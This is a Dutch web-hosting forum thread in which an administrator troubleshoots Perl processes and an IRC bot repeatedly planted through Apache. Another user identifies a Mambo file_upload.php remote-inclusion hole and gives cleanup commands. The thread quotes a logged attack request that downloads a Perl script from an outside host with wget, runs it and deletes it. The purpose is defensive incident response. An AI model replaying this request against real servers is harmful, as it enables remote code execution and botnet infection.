probleem met perl script

[snaaps]

Om de uur loopt de serverload op naar 7+
In top krijgen wij te zien dat dit afkomstig is van perl script die door apache worden gerund.

Kan ik ergens achterhalen om welke scripts/gebruiker dit gaat?

EDIT:
Inmiddels tmp weer opnieuw beveiligd,
hier word ook elke keer een irc bot in geplaats. genaamd bot3.txt.

Nog steeds geen idee waar dit vandaan komt.

geef wel elke keer killall -9 perl, echter na een tijdje komt deze gewoon weer terug

[Thafusion]

Wat je zou kunnen proberen is doormiddel van de inhoud van het script op google te zoeken. En of je overeenkomsten vind en op die manier kan achterhalen via welke backdoor ze binnen komen.

[snaaps]

hoe kan je de hele inhoud met nano kopieren?
Alsik het bestand download dan kan ik deze niet openen..

[ErikKosters]

waarom kopieren via nano? :s
Kan gewoon via 'cp' of 'mv'. inhoud van bestanden is van nano zijn toch ook te openen via kladblok.

[royen99]

Zeer waarschijnlijk mambo (/components/com_simpleboard/file_upload.php)

//edit: Overigens lijkt me dit niet DA specifiek, eventueel naar een ander forum verhuizen ?

Ons IDS systeem waarschuwde ons gisteren voor het onderstaande request: (is ge-edit voor privacy redenen).

GET /components/com_simpleboard/file_upload.php?sbp=http://www.adriana.cc/cmd.txt?cmd=cd%20/tmp;wget%20http://www.aol.eu.com/nuke.txt%20>%20nuke.txt;perl%20nuke.txt;rm%20nuke.txt*? HTTP/1.0
Host: website.van.een.klant
Accept: */*
User-Agent: Mozilla/5.0

Er waren zo'n 50 tot 60 van dergelijke requests en alle plaatsten een perl script binnen onze chrooted tmp dir, op zich niet zo'n probleem aangezien deze op noexec staat.
Dit was o.a. ook de bot3.txt (IRC bot) en een aantal defacing/rootkit scripts. Konden op dat moment gelukkig geen kwaad, echter hebben we wel alle instanties van file_upload.php op chmod 000 gezet.

Exploit is ontdekt enkele dagen geleden: http://www.milw0rm.com/exploits/1994 en http://www.google.nl/search?hl=nl&c2...G=Zoeken&meta=

Als je server problemen heeft:

/etc/init.d/http stop
ps -efa | grep apache | grep -v grep | awk '{print $2}' | xargs kill -9
find /pad/naar/je/websites -name file_upload.php -exec chmod 000 {} \;
/etc/init.d/http start

En even in je /tmp de bot3.txt (en eventueel andere) bestanden weggooien.

[snaaps]

Harstikke bedankt voor deze info, jah exaxt hetzelfde probleem.

[sp-services]

heeft te maken met phpbb die een perl scrit afscant om te spammen

[snaaps]

http://directadmin.com/forum/showthr...p?postid=78874

Link met handige info voor dit probleem.